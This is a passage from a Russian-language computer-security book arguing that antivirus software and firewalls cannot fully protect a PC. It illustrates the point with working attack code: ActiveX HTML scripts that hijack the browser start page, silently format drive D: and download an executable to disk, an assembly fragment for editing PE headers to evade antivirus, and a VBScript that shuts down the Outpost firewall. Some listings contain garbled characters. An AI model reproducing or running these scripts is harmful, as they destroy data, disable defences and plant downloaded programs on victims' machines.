Защити свой компьютер на 100% от вирусов и хакеров
Шрифт:
Механизм работы такого вируса реализуется через уязвимости браузера при обработке ActiveX-объектов. Итак, начнем веселый некролог системе следующим образом (листинг 1.1).
Листинг 1.1. Устанавливаем стартовую страницу браузера
<APPLET ID="Sh1 "
CLASSID="CLSID:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B">
</APPLET>
<script>
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://fuckofflamers.ru");
</script>
Вариант 2. Звучит
Листинг 1.2. HTML-код, форматирующий диск D:
<script>
a=new ActiveXObject("WScript.Shell");
a.run("cmd /c format d:/y",0);
</script>
Вышеописанный сценарий, внедренный злоумышленником в HTML-страницу, ни много ни мало незаметно форматирует диск, указанный в коде.
Продолжим веселый некролог.
Вариант 3. Система притормаживала, и на время игры в Counter Strike пользователь отключил антивирус. «Зараза» чувствует это и выполняет свою «культурную программу».
Вариант 4. Антивирус оказался беспомощным против нового упаковщика (упаковщик EXE-файлов, позволяющий скрыть исходный код вируса от антивирусной программы), к тому же PE-заголовок (часть EXE-файла, отвечающая за исполнение; в данном случае редактирование PE-заголовка выполнено с целью усложнения обнаружения антивирусом) вируса был мастерски отредактирован (листинг 1.3).
Листинг 1.3. Некоторый учебный пример модификации PE-заголовка
_PtchImSz:
mov eax, [esi + 0Ch] ; VirtualRVA(Last section)
add eax, [esi + 08h] ; VirtualSize(Last section)
mov [edi + 50h], eax
Вариант 5. «Зараза» успела отключить антивирус раньше, чем он ее обнаружил.
Эпикриз. Абсолютной защиты нет. Существующие варианты малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.
Брандмауэр
Нужен ли нам брандмауэр?
Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится.
Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?
Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) – лишь пример, но…
Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)
set WShell = CreateObject("WScript.Shell")
WShell.Exec " Files\Agnitum\Outpost Firewall\outpost.exe"
WScript.Sleep 200
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 100
WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
WScript.Sleep 100
WShell.SendKeys "{ENTER}"
ПРИМЕЧАНИЕ
Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло-код" (рис. 1.1)!
Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня
Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.
Рис. 1.2. И опять наш «Касперский» оказался на высоте
Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.OpenC'GET', "http://www.example.com/1.exe", 0);
x.Send;
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open;
s.Write(x.responseBody);
s.SaveToFile("C:\\example.exe", 2);
</script>
<script language="javascript">
function preparecode(code)
{ result = "";
lines = code.split(/\r\n/);
for (i=0; i<lines.length; i++) {
line = lines[i];
line = line.replace(/*\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\'");
line = line.replace(/[\\]/g,"\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval(" + mycode + "')";
window.open(myURL, "_media");
}
setTimeout("doit", 5000);
</script>
</html>
Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.